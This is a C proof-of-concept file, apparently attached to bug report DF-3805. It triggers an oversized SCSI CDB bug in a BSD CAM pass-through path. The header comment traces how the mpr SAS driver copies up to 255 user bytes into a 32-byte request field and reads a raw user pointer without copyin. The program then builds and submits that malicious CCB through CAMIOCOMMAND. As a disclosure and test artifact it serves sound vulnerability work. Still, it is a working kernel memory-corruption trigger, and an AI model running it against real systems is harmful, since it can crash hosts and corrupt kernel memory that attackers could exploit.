DF-3805 / cdb_overlong.c
/* * DF-3805 trigger — oversized CDB (cdb_len = 255) with CAM_CDB_POINTER. * * Demonstrates that a userland CAM client can submit an XPT_SCSI_IO CCB * whose cdb_len (u_int8_t, max 255) far exceeds the 32-byte CDB field of * an MPI2 SCSI IO request frame. Nothing in the CAM framework (pass(4) * CAMIOCOMMAND -> xpt_merge_ccb -> SIM) validates cdb_len; whether the * copy is bounded is entirely up to the receiving SIM: * * - ahci ATAPI validates 6..16 (sys/dev/disk/ahci/ahci_cam.c:1512) * -> returns CAM_CCB_LEN_ERR (what we expect on the guest's DVD). * - mpr (Avago/LSI SAS3) does NOT: mprsas_action_scsiio bcopy's * csio->cdb_len bytes into req->CDB.CDB32[32] * (sys/dev/raid/mpr/mpr_sas.c:2102-2109), overflowing the request * frame; the KASSERT there is INVARIANTS-only and only guards the * non-pointer path. * * On an mpr-attached bus this overflows the per-command request frame in * the req_frames DMA pool (sys/dev/raid/mpr/mpr.c:1530) with attacker * bytes; for the last SMID the copy runs past the whole DMA allocation. * The copy source is also a raw user pointer (cam_periph_mapmem never * touches cdb_ptr), i.e. kernel reads of user memory without copyin. * * Build: cc -O -o cdb_overlong cdb_overlong.c * Run: ./cdb_overlong /dev/pass0 */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_message.h> #include <bus/cam/scsi/scsi_pass.h> int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/pass0"; union ccb ccb; uint8_t cdb[255]; int fd; fd = open(dev, O_RDWR); if (fd < 0) { perror("open"); return (1); } /* Fill a maximally oversized CDB. */ memset(cdb, 0x41, sizeof(cdb)); cdb[0] = 0x12; /* INQUIRY opcode so ATAPI can classify it */ memset(&ccb, 0, sizeof(ccb)); ccb.ccb_h.func_code = XPT_SCSI_IO; ccb.ccb_h.flags = CAM_CDB_POINTER | CAM_DIR_NONE; ccb.ccb_h.retry_count = 0; ccb.ccb_h.timeout = 5000; ccb.csio.cdb_io.cdb_ptr = cdb; ccb.csio.cdb_len = 255; /* > 32-byte MPI2 CDB32 field */ ccb.csio.dxfer_len = 0; ccb.csio.sense_len = 0; ccb.csio.tag_action = MSG_SIMPLE_Q_TAG; if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) { perror("CAMIOCOMMAND"); close(fd); return (2); } printf("cdb_len=255 CCB accepted by CAM framework; SIM status = 0x%x\n", ccb.ccb_h.status & CAM_STATUS_MASK); printf("(SIM-dependent handling: ahci rejects with CAM_CCB_LEN_ERR;" " mpr would bcopy all 255 bytes into a 32-byte field)\n"); close(fd); return (0); } |